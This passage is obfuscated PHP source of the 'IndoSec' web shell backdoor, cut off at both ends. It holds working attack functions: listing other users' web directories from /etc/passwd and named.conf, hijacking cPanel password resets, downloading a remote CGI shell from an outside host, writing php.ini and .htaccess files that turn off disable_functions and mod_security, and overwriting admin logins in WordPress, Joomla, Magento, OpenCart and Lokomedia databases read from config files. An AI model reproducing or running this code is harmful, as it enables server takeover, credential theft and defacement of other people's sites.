\xa\x9\x9		<textarea name="url" class="form-control">"; goto Cio94; MmXi_: } } elseif (preg_match("/vhosts/", $dir)) { $urls = explode("
\xa", $_POST["url"]); if (isset($_POST["jump"])) { goto lyQP9; y1YiF: foreach ($urls as $url) { $web_vh = "/var/www/vhosts/{$url}/httpdocs"; if (is_dir($web_vh) === true) { if (is_readable($web_vh)) { goto SIxtK; Kdvjj: if (is_writable($web_vh)) { $jrw = "[<font color=green>RW</font>] <a href='?dir={$web_vh}'><font color=#0046FF>{$web_vh}</font></a>"; } goto yJslN; yJslN: echo $jrw . "<br>"; goto WqYY8; SIxtK: $i++; goto i8rSC; i8rSC: $jrw = "[<font color=green>R</font>] <a href='?dir={$web_vh}'><font color=#0046FF>{$web_vh}</font></a>"; goto Kdvjj; WqYY8: } } } goto rsB0y; OnBPh: echo "</pre>"; goto h2DWC; rsB0y: if (!$i == 0) { echo "<br>Total ada {$i} Kamar Di {$ip}"; } goto OnBPh; lyQP9: echo "<pre>"; goto y1YiF; h2DWC: } else { goto o2Z7N; qEGjJ: bing("ip:{$ip}"); goto fy6Xs; fy6Xs: echo "</textarea><br>
\x9\x9	\x9<input type="submit" value="Jumping" name="jump" class="btn btn-danger btn-block">
\x9\x9	</form></center>"; goto dzgxi; o2Z7N: echo "<center><form method="post">
\x9\x9	\x9List Domains: <br>
\xa		\x9	<textarea name="url" class="form-control">"; goto qEGjJ; dzgxi: } } else { goto nYjKk; ZSmKu: while ($passwd = fgets($etc)) { if ($passwd == '' || !$etc) { echo "<font color=red>Can't read /etc/passwd</font><br/>"; } else { preg_match_all("/(.*?):x:/", $passwd, $user_jumping); foreach ($user_jumping[1] as $user_pro_jump) { $user_jumping_dir = "/home/{$user_pro_jump}/public_html"; if (is_readable($user_jumping_dir)) { goto yuIL1; nseSy: $jrw = "[<font color=green>R</font>] <a href='?dir={$user_jumping_dir}'><font color=#0046FF>{$user_jumping_dir}</font></a>"; goto RCrD5; fVWUD: if (function_exists("posix_getpwuid")) { $domain_jump = file_get_contents("/etc/named.conf"); if ($domain_jump == '') { echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>"; } else { preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump); foreach ($domains_jump[1] as $dj) { goto RCB21; I9AMS: $user_jumping_url = $user_jumping_url["name"]; goto xuZu7; RCB21: $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/{$dj}")); goto I9AMS; xuZu7: if ($user_jumping_url == $user_pro_jump) { echo " => ( <u>{$dj}</u> )<br>"; break; } goto OUQm3; OUQm3: } } } else { echo "<br>"; } goto vEOsQ; RCrD5: if (is_writable($user_jumping_dir)) { $jrw = "[<font color=green>RW</font>] <a href='?dir={$user_jumping_dir}'><font color=#0046FF>{$user_jumping_dir}</font></a>"; } goto Zkho9; Zkho9: echo $jrw; goto fVWUD; yuIL1: $i++; goto nseSy; vEOsQ: } } } } goto DZyze; CFPmE: $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font><br/>"); goto ZSmKu; nYjKk: echo "<pre>"; goto CFPmE; DZyze: if (!$i == 0) { echo "<br>Total ada {$i} kamar di {$ip}"; } goto virvA; virvA: echo "</pre>"; goto fW1c1; fW1c1: } goto pgfDi; Mu9re: exit; goto Se7lZ; pgfDi: echo "</div><br/>"; goto Mu9re; Se7lZ: } goto mZGym; S4pkQ: function resetCp($dir) { goto jux65; UQeJS: if (isset($_POST["submit"])) { goto CR7u3; Wi2ST: echo "<br/>Url: " . $parm . ''; goto IqY8C; uKMZ7: $email = $_POST["email"]; goto rCs1o; I7Vis: $f = fopen("/home/" . $user . "/.cpanel/contactinfo", "w"); goto vAvki; hfGwW: @fwrite($f, $wr); goto ZULU8; ZULU8: @fclose($f); goto sSPx2; IqY8C: echo "<br/>Username: " . $user . ''; goto RFJ8y; q2UB4: $ips = getenv("REMOTE_ADDR"); goto uKMZ7; sSPx2: $parm = $site . ":2082/resetpass?start=1"; goto Wi2ST; CR7u3: $user = get_current_user(); goto YgVIH; qWkJo: $f = fopen("/home/" . $user . "/.contactinfo", "w"); goto hfGwW; rCs1o: $wr = "email:" . $email; goto I7Vis; a3LWY: @fclose($f); goto qWkJo; YgVIH: $site = $_SERVER["HTTP_HOST"]; goto q2UB4; RFJ8y: echo "<br/>Success Reset To: " . $email . "<br/><br/>"; goto jwLww; vAvki: @fwrite($f, $wr); goto a3LWY; jwLww: } goto cq3qa; jux65: echo "<h5 class="text-center mb-4"><i class="fa fa-key"></i> Auto Reset Password Cpanel</h5>
	<form method="POST">
\xa\x9	<div class="form-group input-group">
\x9		<div class="input-group-prepend">
	\x9\x9\x9<div class="input-group-text"><i class="fa fa-envelope"></i></div>
\x9	\x9	</div>\xd
\x9	\x9\x9<input type="email" name="email" class="form-control" placeholder="Masukan Email..."/>\xd\xa\x9	\x9</div>\xd\xa			<input type="submit" name="submit" class="btn btn-danger btn-block" value="Send"/>
\x9\x9</div>
\xa	</form>"; goto UQeJS; cq3qa: exit; goto fyLA3; fyLA3: } goto MuqZH; kD39o: $ip = getHostByName(getHostName()); goto CxhHz; Mc7Gl: function aksicgi($dir, $file) { goto kRXWm; kRXWm: $full = str_replace($_SERVER["DOCUMENT_ROOT"], '', $dir); goto ZDK71; P3r41: exit; goto Xbqtw; ZDK71: function cgi($url, $isi) { goto JWjQ7; bOIVz: curl_setopt($ch, CURLOPT_URL, $url); goto tvYu4; zIgAk: $ch = curl_init(); goto bOIVz; LPWyN: ob_flush(); goto QGaB_; QdRNn: curl_setopt($ch, CURLOPT_FILE, $fp); goto Wm_i7; QGaB_: flush(); goto RYlnj; JWjQ7: $fp = fopen($isi, "w"); goto zIgAk; ZSU1L: fclose($fp); goto LPWyN; Wm_i7: return curl_exec($ch); goto XY_I_; OlBrH: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); goto QdRNn; XY_I_: curl_close($ch); goto ZSU1L; tvYu4: curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); goto NTGs4; NTGs4: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto OlBrH; RYlnj: } goto XaxBl; XaxBl: if (file_exists("cgi.php")) { echo "<a href='{$full}/cgi.php' target='_blank' class='text-center btn btn-success btn-block mb-3'>Login cgi</a>"; } else { if (cgi("http://flow.sytes.net/arrow/cgi.txt", "cgi.php")) { echo "<p class='text-center'>Berhasil Membuat cgi</p><a href='{$full}/cgi.php' target='_blank' class='text-center btn btn-success btn-block mb-3'>Login cgi</a>"; } else { echo "<p class='text-center text-danger'>Gagal Membuat cgi</p>"; } } goto P3r41; Xbqtw: } goto xj_BI; VuWTN: function disabFunc($dir, $file) { goto cuJDY; cuJDY: echo "<div class='card card-body text-center text-dark'>
\x9	<h4 class='text-center mt-2 mb-3'>Bypass Disable Functions</h2>\xd
\x9	<form method='POST'>\xd
\x9\x9\x9<input type='submit' class='btn btn-danger' name='ini' value='php.ini'/>
	\x9	<input type='submit' class='btn btn-danger' name='htce' value='.htaccess'/>
	\x9	<input type='submit' class='btn btn-danger' name='litini' value='Litespeed'/>\xd\xa		</form>"; goto WXm5z; bMCex: echo "</div>"; goto OeQKP; WXm5z: if (isset($_POST["ini"])) { goto RogF8; pkAjO: fclose($file); goto tMMTu; tMMTu: echo "<a href='php.ini' class='btn btn-success btn-block' target='_blank'>Klik Coeg!</a>"; goto axAib; RogF8: $file = fopen("php.ini", "w"); goto BjIBX; BjIBX: echo fwrite($file, "safe_mode = OFF\xadisable_functions = NONE"); goto pkAjO; axAib: } elseif (isset($_POST["htce"])) { goto ydTsf; j0h9Q: fclose($file); goto UiIen; kEtwp: echo fwrite($file, "<IfModule mod_security.c>
SecFilterEngine Off\xaSecFilterScanPOST Off\xa</IfModule>"); goto j0h9Q; ydTsf: $file = fopen(".htaccess", "w"); goto kEtwp; UiIen: echo "<p>.htaccess successfully created!</p>"; goto LqXJD; LqXJD: } elseif (isset($_POST["litini"])) { goto aTyLP; XOaIQ: $swa = "success"; goto QFOLi; QFOLi: $text = "Disable Functions in Litespeed Created"; goto RsPl8; aTyLP: $iniph = "PD8gZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQplY2hvIGluY2x1ZGUoJF9HRVRbImZpbGUiXSk7DQplY2hvIGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQplY2hvIGluY2x1ZGUoJF9HRVRbInNzIl07DQo/Pg=="; goto ZHiHz; MRtpH: file_put_contents(".htaccess", $comp); goto XOaIQ; AnEM7: file_put_contents("php.ini", $byph); goto RhI14; RhI14: file_put_contents("ini.php", $iniph); goto MRtpH; RsPl8: swall($swa, $text, $dir); goto u5S3u; ZHiHz: $byph = "safe_mode = OFF
disable_functions = NONE"; goto QxTkr; QxTkr: $comp = "<Files *.php>
ForceType application/x-httpd-php4
</Files>"; goto AnEM7; u5S3u: } goto bMCex; OeQKP: } goto S4pkQ; ss2lY: echo "&nbsp;&nbsp;[ " . w($dir, perms($dir)) . " ]"; goto nXepv; mP4ds: $path = str_replace("\", "/", $path); goto SjvR3; wrsRs: if ($_GET["aksi"] == "adminer") { aksiAdminer($dir, $file); } goto tlikY; dmN97: function login_shell() { echo "<!DOCTYPE html>\xd
<html>\xd
\x9<head>
	\x9<meta name="viewport" content="widht=device-widht, initial-scale=1.0"/>
\xa\x9\x9<meta name="theme-color" content="#343a40"/>\xd
\x9	<meta name="author" content="Holiq"/>\xd\xa		<meta name="copyright" content="{ IndoSec }"/>\xd
\x9	<title>{ IndoSec sHell }</title>\xd
		<link rel="icon" type="image/png" href="https://www.holiq.projectku.ga/indosec.png"/>\xd\xa		<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css"/>
\x9\x9<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css"/>\xd
\x9</head>\xd
	<body class="bg-dark text-center text-light">\xd
	\x9<div class="container text-center mt-3">
\xa\x9	\x9<h1>{ INDOSEC }</h1>
			<h5>sHell Backdoor</h5><hr/>
\xa\x9	\x9<p class="mt-3 font-weight-bold"><i class="fa fa-terminal"></i> Please Login</p>
	\x9	<form method="post">\xd
\x9\x9\x9	<div class="form-group input-group">\xd\xa	\x9	\x9	<div class="input-group-prepend">\xd\xa	\x9\x9\x9		<div class="input-group-text"><i class="fa fa-user"></i></div>\xd\xa	\x9\x9	\x9</div>
					<input type="password" name="pass" placeholder="User Id..." class="form-control">
		\x9	</div>\xd
		\x9	<input type="submit" class="btn btn-danger btn-block" class="form-control" value="Login">\xd\xa\x9\x9\x9</form>
\xa\x9\x9</div>
		<a href="https://facebook.com/IndoSecOfficial" class="text-muted fixed-bottom mb-3">Copyright 2019 @ { IndoSec }</a>\xd
	</body>
\xa</html>
\xa"; exit; } goto p4LcE; SVbJ1: function perms($file) { goto MIbz3; F0xsA: if (($perms & 0xc000) == 0xc000) { $info = "s"; } elseif (($perms & 0xa000) == 0xa000) { $info = "l"; } elseif (($perms & 0x8000) == 0x8000) { $info = "-"; } elseif (($perms & 0x6000) == 0x6000) { $info = "b"; } elseif (($perms & 0x4000) == 0x4000) { $info = "d"; } elseif (($perms & 0x2000) == 0x2000) { $info = "c"; } elseif (($perms & 0x1000) == 0x1000) { $info = "p"; } else { $info = "u"; } goto K_QcC; sOA5O: $info .= $perms & 0x20 ? "r" : "-"; goto oII2R; dMd0a: $info .= $perms & 0x80 ? "w" : "-"; goto Z3SPB; K_QcC: $info .= $perms & 0x100 ? "r" : "-"; goto dMd0a; Z3SPB: $info .= $perms & 0x40 ? $perms & 0x800 ? "s" : "x" : ($perms & 0x800 ? "S" : "-"); goto sOA5O; oII2R: $info .= $perms & 0x10 ? "w" : "-"; goto svGUC; XfxdM: return $info; goto nyG5c; c7NDv: $info .= $perms & 0x1 ? $perms & 0x200 ? "t" : "x" : ($perms & 0x200 ? "T" : "-"); goto XfxdM; svGUC: $info .= $perms & 0x8 ? $perms & 0x400 ? "s" : "x" : ($perms & 0x400 ? "S" : "-"); goto tGBBe; MIbz3: $perms = fileperms($file); goto F0xsA; O803U: $info .= $perms & 0x2 ? "w" : "-"; goto c7NDv; tGBBe: $info .= $perms & 0x4 ? "r" : "-"; goto O803U; nyG5c: } goto Il_fQ; AjRpV: function chmodFile($dir, $file, $nfile) { goto IatvF; F0Uq7: if (isset($_POST["perm"])) { if (@chmod($_GET["file"], $_POST["perm"])) { echo "<font color="lime">Change Permission Berhasil</font><br/>"; } else { echo "<font color="white">Change Permission Gagal</font><br/>"; } } goto nDEZH; IatvF: echo "<form method='POST'>\xd\xa\x9	<h5>Chmod File : {$nfile} </h5>
\x9\x9<div class='form-group input-group'>\xd
\x9	\x9<input type='text' name='perm' class='form-control' value='" . substr(sprintf("%o", fileperms($_GET["file"])), -4) . "'>\xd
			<input type='submit' class='btn btn-danger form-control' value='Chmod'>
\x9\x9</div>\xd
	</form>"; goto F0Uq7; nDEZH: exit; goto jyT_l; jyT_l: } goto RUSfB; RUSfB: function buatFile($dir, $imgfile) { echo "<h4>{$imgfile} Buat File :</h4>
\xa\x9<form method='POST'>
\xa	\x9<div class='input-group'>
		\x9<input type='text' class='form-control' name='nama_file[]' placeholder='Nama File...'>
		\x9<div class='input-group-prepend'>
\xa				<div class='input-group-text'><a id='add_input'><i class='fa fa-plus'></i></a></div>
\xa\x9\x9	</div>\xd
\x9\x9</div><br/>\xd
		<div id='output'></div>
\xa	\x9<textarea name='isi_file' class='form-control' rows='13' placeholder='Isi File...'></textarea><br/>\xd
\x9	<input type='submit' class='btn btn-info btn-block' name='bikin' value='Buat'>\xd
\x9</form>"; if (isset($_POST["bikin"])) { goto TXybf; bP48H: $isi_file = $_POST["isi_file"]; goto TIjwc; LJgHB: if ($buat) { goto DB0UR; DB0UR: $swa = "success"; goto ru_ZD; ru_ZD: $text = "Berhasil Membuat File"; goto Qdj2z; Qdj2z: swall($swa, $text, $dir); goto xfboQ; xfboQ: } else { goto X6ZNE; tPblB: swall($swa, $text, $dir); goto l7oxO; rMoT8: $text = "Gagal Membuat File"; goto tPblB; X6ZNE: $swa = "error"; goto rMoT8; l7oxO: } goto o9oIc; TIjwc: foreach ($name as $nama_file) { $handle = @fopen("{$nama_file}", "w"); if ($isi_file) { $buat = @fwrite($handle, $isi_file); } else { $buat = $handle; } } goto LJgHB; TXybf: $name = $_POST["nama_file"]; goto bP48H; o9oIc: } } goto zepmk; yhEJG: echo "</table></div><hr/>
\xa\x9			<center><a class="text-muted" href="https://facebook.com/IndoSecOfficial">Copyright 2019 { IndoSec }</a></center><br/>"; goto xz2zF; vWrZ6: function buatFolder($dir, $imgfol) { echo "<h5>{$imgfol} Buat Folder :</h5>\xd\xa	<form method='POST'>\xd
\x9\x9<div class='input-group'>
\xa\x9	\x9<input type='text' class='form-control' name='nama_folder[]' placeholder='Nama Folder...'>\xd\xa\x9		<div class='input-group-prepend'>
	\x9	\x9<div class='input-group-text'><a id='add_input1'><i class='fa fa-plus'></i></a></div>\xd
\x9	\x9</div>\xd\xa		</div><br/>
\xa		<div id='output1'></div>\xd
\x9\x9<input type='submit' class='btn btn-info btn-block' name='buat' value='Buat'>
	</form>"; if (isset($_POST["buat"])) { goto leHC9; ENzR_: foreach ($nama as $nama_folder) { $folder = preg_replace("([^\w\s\d\-_~,;:\[\]\(\].]|[\.]{2,})", '', $nama_folder); $fd = @mkdir($folder); } goto fXIC_; fXIC_: if ($fd) { goto gCL6f; mNXyP: $text = "Berhasil Membuat Folder"; goto rISM9; rISM9: swall($swa, $text, $dir); goto H9ojP; gCL6f: $swa = "success"; goto mNXyP; H9ojP: } else { goto nYM5r; nYM5r: $swa = "error"; goto XjzSP; XjzSP: $text = "Gagal Membuat Folder"; goto LIuSK; LIuSK: swall($swa, $text, $dir); goto Inr66; Inr66: } goto FmuXF; leHC9: $nama = $_POST["nama_folder"]; goto ENzR_; FmuXF: } } goto Pr5dP; yu_yk: if ($_GET["aksi"] == "sym_404") { sym404($dir, $file); } goto WUrcF; JC923: if ($_GET["aksi"] == "masdef") { aksiMasdef($dir, $file, $imgfol, $imgfile); } goto Ejk2k; ZxAyc: $free = disk_free_space($dir); goto MGkZQ; Cykyt: function ambilKata($param, $kata1, $kata2) { goto Ltda4; O9CUy: $return = substr($param, $start, $end - $start); goto cEEe0; xgMRn: $start = strpos($param, $kata1) + strlen($kata1); goto cPnYi; cPnYi: $end = strpos($param, $kata2, $start); goto O9CUy; Ltda4: if (strpos($param, $kata1) === FALSE) { return FALSE; } goto J8Y89; J8Y89: if (strpos($param, $kata2) === FALSE) { return FALSE; } goto xgMRn; cEEe0: return $return; goto pbRDo; pbRDo: } goto PRVva; HPFNR: function about() { echo "<div class="card text-center bg-light about">
\xa\x9\x9<h4 class="card-header">{ IndoSec }</h4>
\xa		<div class="card-body">\xd
		\x9<center><div class="img"></div></center>\xd\xa	\x9	<p class="card-text">{ IndoSec } Adalah Sebuah Komunitas Yang Berfokus Kepada Teknologi Di Indonesia, Dari Membuat Mengamankan Dan Mengexploitasi Sebuah Sistem.</p>
		</div>
\x9\x9<div class="card-footer">
\xa\x9	\x9<small class="card-text text-muted">Copyright 2019 { IndoSec }</small>
\xa	\x9</div>
	</div><br/>"; exit; } goto SgkPP; MuqZH: function autoEdit($dir, $file) { if ($_POST["hajar"]) { if (strlen($_POST["pass_baru"]) < 6 or strlen($_POST["user_baru"]) < 6) { echo "Username dan Password harus lebih dari 6 karakter"; } else { goto VU6Vg; nOtzz: $conf = $_POST["config_dir"]; goto g8oRO; tc_iq: foreach ($scan_conf as $file_conf) { goto WfS_A; EDVER: $config = file_get_contents("{$conf}/{$file_conf}"); goto Mspgj; Mspgj: if (preg_match("/JConfig|joomla/", $config)) { goto fuvaO; kWa51: $prefix = $dbprefix . "users"; goto keht7; uB1bz: echo "Config => " . $file_conf . "<br>"; goto oEIOg; keht7: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto ygRYN; fuvaO: $dbhost = ambilkata($config, "host = '", "'"); goto zBmGk; zBmGk: $dbuser = ambilkata($config, "user = '", "'"); goto khuHg; MzgFC: if ($site == '') { echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>"; } else { echo "Sitename => {$site}<br>"; } goto COide; AnXvI: $id = $result["id"]; goto obOYv; ygRYN: $db = mysql_select_db($dbname); goto uK484; qrs4a: $update = mysql_query("UPDATE {$prefix} SET username='{$user_baru}',password='{$pass_baru}' WHERE id='{$id}'"); goto uB1bz; obOYv: $site = ambilkata($config, "sitename = '", "'"); goto qrs4a; B3phz: $result = mysql_fetch_array($q); goto AnXvI; khuHg: $dbpass = ambilkata($config, "password = '", "'"); goto WLLtj; oEIOg: echo "CMS => Joomla<br>"; goto MzgFC; COide: if (!$update or !$conn or !$db) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } goto ZPL3v; uK484: $q = mysql_query("SELECT * FROM {$prefix} ORDER BY id ASC"); goto B3phz; WLLtj: $dbname = ambilkata($config, "db = '", "'"); goto F3ydN; F3ydN: $dbprefix = ambilkata($config, "dbprefix = '", "'"); goto kWa51; ZPL3v: mysql_close($conn); goto WZPDj; WZPDj: } elseif (preg_match("/WordPress/", $config)) { goto cAtpC; gMe_3: $dbuser = ambilkata($config, "DB_USER', '", "'"); goto gPCtp; Pe2rs: $q2 = mysql_query("SELECT * FROM {$option} ORDER BY option_id ASC"); goto rgBZ2; EbwvB: if ($target == '') { $url_target = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; } else { $url_target = "Login => <a href='{$target}/wp-login.php' target='_blank'><u>{$target}/wp-login.php</u></a><br>"; } goto iJj0V; cAtpC: $dbhost = ambilkata($config, "DB_HOST', '", "'"); goto gMe_3; qwadN: $option = $dbprefix . "options"; goto p9dHQ; AzzQC: mysql_close($conn); goto odj1h; m3AKb: $dbname = ambilkata($config, "DB_NAME', '", "'"); goto bfq1R; p9dHQ: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto VcMKr; IJMtv: $prefix = $dbprefix . "users"; goto qwadN; vuC9i: echo "Config => " . $file_conf . "<br>"; goto Kl0mY; hpFI9: echo $url_target; goto Sk6i_; lJqDy: $result = mysql_fetch_array($q); goto nsq9h; gPCtp: $dbpass = ambilkata($config, "DB_PASSWORD', '", "'"); goto m3AKb; bfq1R: $dbprefix = ambilkata($config, "table_prefix  = '", "'"); goto IJMtv; z4Eez: $target = $result2[option_value]; goto EbwvB; Kl0mY: echo "CMS => Wordpress<br>"; goto hpFI9; VcMKr: $db = mysql_select_db($dbname); goto CjOVV; nsq9h: $id = $result[ID]; goto Pe2rs; Sk6i_: if (!$update or !$conn or !$db) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } goto AzzQC; iJj0V: $update = mysql_query("UPDATE {$prefix} SET user_login='{$user_baru}',user_pass='{$pass_baru}' WHERE id='{$id}'"); goto vuC9i; rgBZ2: $result2 = mysql_fetch_array($q2); goto z4Eez; CjOVV: $q = mysql_query("SELECT * FROM {$prefix} ORDER BY id ASC"); goto lJqDy; odj1h: } elseif (preg_match("/Magento|Mage_Core/", $config)) { goto xKgiu; CWqdG: $q = mysql_query("SELECT * FROM {$prefix} ORDER BY user_id ASC"); goto XbaaJ; XbaaJ: $result = mysql_fetch_array($q); goto NZDtt; p1JIa: $dbname = ambilkata($config, "<dbname><![CDATA[", "]]></dbname>"); goto Y3x0b; cEfrq: $result2 = mysql_fetch_array($q2); goto pLqxI; kKCkA: $prefix = $dbprefix . "admin_user"; goto Ej5bL; BTAAs: mysql_close($conn); goto Y2tDL; YRuSs: echo "CMS => Magento<br>"; goto tjnA5; hUYbg: $db = mysql_select_db($dbname); goto CWqdG; pLqxI: $target = $result2[value]; goto RM_Bx; fPzPe: echo "Config => " . $file_conf . "<br>"; goto YRuSs; tjnA5: echo $url_target; goto KeSdm; PCwVL: $update = mysql_query("UPDATE {$prefix} SET username='{$user_baru}',password='{$pass_baru}' WHERE user_id='{$id}'"); goto fPzPe; xKgiu: $dbhost = ambilkata($config, "<host><![CDATA[", "]]></host>"); goto A1MQ6; y4xAO: $dbpass = ambilkata($config, "<password><![CDATA[", "]]></password>"); goto p1JIa; NZDtt: $id = $result[user_id]; goto fLHnM; Y3x0b: $dbprefix = ambilkata($config, "<table_prefix><![CDATA[", "]]></table_prefix>"); goto kKCkA; RM_Bx: if ($target == '') { $url_target = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; } else { $url_target = "Login => <a href='{$target}/admin/' target='_blank'><u>{$target}/admin/</u></a><br>"; } goto PCwVL; A1MQ6: $dbuser = ambilkata($config, "<username><![CDATA[", "]]></username>"); goto y4xAO; KeSdm: if (!$update or !$conn or !$db) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } goto BTAAs; Ej5bL: $option = $dbprefix . "core_config_data"; goto CrFqU; CrFqU: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto hUYbg; fLHnM: $q2 = mysql_query("SELECT * FROM {$option} WHERE path='web/secure/base_url'"); goto cEfrq; Y2tDL: } elseif (preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $config)) { goto rtKCB; XVSoG: $dbpass = ambilkata($config, "'DB_PASSWORD', '", "'"); goto FFcGv; Ob0Dx: $dbprefix = ambilkata($config, "'DB_PREFIX', '", "'"); goto LAQPw; I4Ucu: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto RnuZA; nfneQ: echo $url_target; goto NkokD; yzDfc: $result = mysql_fetch_array($q); goto VMP4U; FFcGv: $dbname = ambilkata($config, "'DB_DATABASE', '", "'"); goto Ob0Dx; qhAcF: mysql_close($conn); goto aFrGq; NkokD: if (!$update or !$conn or !$db) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } goto qhAcF; LAQPw: $prefix = $dbprefix . "user"; goto I4Ucu; jDYWx: if ($target == '') { $url_target = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; } else { $url_target = "Login => <a href='{$target}' target='_blank'><u>{$target}</u></a><br>"; } goto czkav; rtKCB: $dbhost = ambilkata($config, "'DB_HOSTNAME', '", "'"); goto IFJkZ; czkav: $update = mysql_query("UPDATE {$prefix} SET username='{$user_baru}',password='{$pass_baru}' WHERE user_id='{$id}'"); goto tTHtY; tTHtY: echo "Config => " . $file_conf . "<br>"; goto qj4rd; xhfn_: $target = ambilkata($config, "HTTP_SERVER', '", "'"); goto jDYWx; x20wo: $q = mysql_query("SELECT * FROM {$prefix} ORDER BY user_id ASC"); goto yzDfc; qj4rd: echo "CMS => OpenCart<br>"; goto nfneQ; VMP4U: $id = $result[user_id]; goto xhfn_; IFJkZ: $dbuser = ambilkata($config, "'DB_USERNAME', '", "'"); goto XVSoG; RnuZA: $db = mysql_select_db($dbname); goto x20wo; aFrGq: } elseif (preg_match("/panggil fungsi validasi xss dan injection/", $config)) { goto V3aWl; MLfha: $dbpass = ambilkata($config, "password = "", """); goto dIOw5; V3aWl: $dbhost = ambilkata($config, "server = "", """); goto cmkBt; mSq2u: mysql_close($conn); goto K0Rbr; v2PEm: $prefix = "users"; goto j1Xx_; b7Py6: $target = $result[alamat_website]; goto GR1tj; GR1tj: if ($target == '') { goto fEjiS; Tk_2c: if ($target2 == '') { $url_target2 = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; } else { goto CoaUK; qFy3h: $cek_login4 = file_get_contents("{$target2}/lokomedia/adminweb/"); goto U3GsA; U3GsA: if (preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) { $url_target2 = "Login => <a href='{$target2}/adminweb' target='_blank'><u>{$target2}/adminweb</u></a><br>"; } elseif (preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) { $url_target2 = "Login => <a href='{$target2}/lokomedia/adminweb' target='_blank'><u>{$target2}/lokomedia/adminweb</u></a><br>"; } else { $url_target2 = "Login => <a href='{$target2}' target='_blank'><u>{$target2}</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>"; } goto GBbk4; CoaUK: $cek_login3 = file_get_contents("{$target2}/adminweb/"); goto qFy3h; GBbk4: } goto TnJxt; fEjiS: $target2 = $result[url]; goto NMWf6; NMWf6: $url_target = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; goto Tk_2c; TnJxt: } else { goto Phu4L; U6SOr: $cek_login2 = file_get_contents("{$target}/lokomedia/adminweb/"); goto rpHd_; rpHd_: if (preg_match("/CMS Lokomedia|Administrator/", $cek_login)) { $url_target = "Login => <a href='{$target}/adminweb' target='_blank'><u>{$target}/adminweb</u></a><br>"; } elseif (preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) { $url_target = "Login => <a href='{$target}/lokomedia/adminweb' target='_blank'><u>{$target}/lokomedia/adminweb</u></a><br>"; } else { $url_target = "Login => <a href='{$target}' target='_blank'><u>{$target}</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>"; } goto LyaSl; Phu4L: $cek_login = file_get_contents("{$target}/adminweb/"); goto U6SOr; LyaSl: } goto JJO5v; dIOw5: $dbname = ambilkata($config, "database = "", """); goto v2PEm; jNSfh: if (!$update or !$conn or !$db) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } goto mSq2u; hDgQn: $q = mysql_query("SELECT * FROM {$option} ORDER BY id_identitas ASC"); goto a0u5M; tUuf9: echo "Config => " . $file_conf . "<br>"; goto vJTy1; vJTy1: echo "CMS => Lokomedia<br>"; goto k5I_V; cmkBt: $dbuser = ambilkata($config, "username = "", """); goto MLfha; k5I_V: if (preg_match("/Error, Tidak dapat mengambil nama domainnya/", $url_target)) { echo $url_target2; } else { echo $url_target; } goto jNSfh; afylr: $db = mysql_select_db($dbname); goto hDgQn; a0u5M: $result = mysql_fetch_array($q); goto b7Py6; JJO5v: $update = mysql_query("UPDATE {$prefix} SET username='{$user_baru}',password='{$pass_baru}' WHERE level='admin'"); goto tUuf9; mLfpm: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto afylr; j1Xx_: $option = "identitas"; goto mLfpm; K0Rbr: } goto OuNCm; WfS_A: if (!is_file("{$conf}/{$file_conf}")) { continue; } goto EDVER; OuNCm: } goto WYsSx; g8oRO: $scan_conf = scandir($conf); goto tc_iq; VU6Vg: $user_baru = $_POST["user_baru"]; goto ExJU3; ExJU3: $pass_baru = md5($_POST["pass_baru"]); goto nOtzz; WYsSx: } } else { echo "<h3 class='text-center mb-4'>Auto Edit User</h3>
\xa\x9\x9<form method='post'>
\xa			<h5>Lokasi Dir Config</h5>\xd
			<input type='text' class='form-control mb-3' name='config_dir' value='{$dir}'>
\x9		<h5>Set User & Pass :</h5>\xd
		\x9<input type='text' name='user_baru' value='indosec' class='form-control mb-3' placeholder='Set Username'>
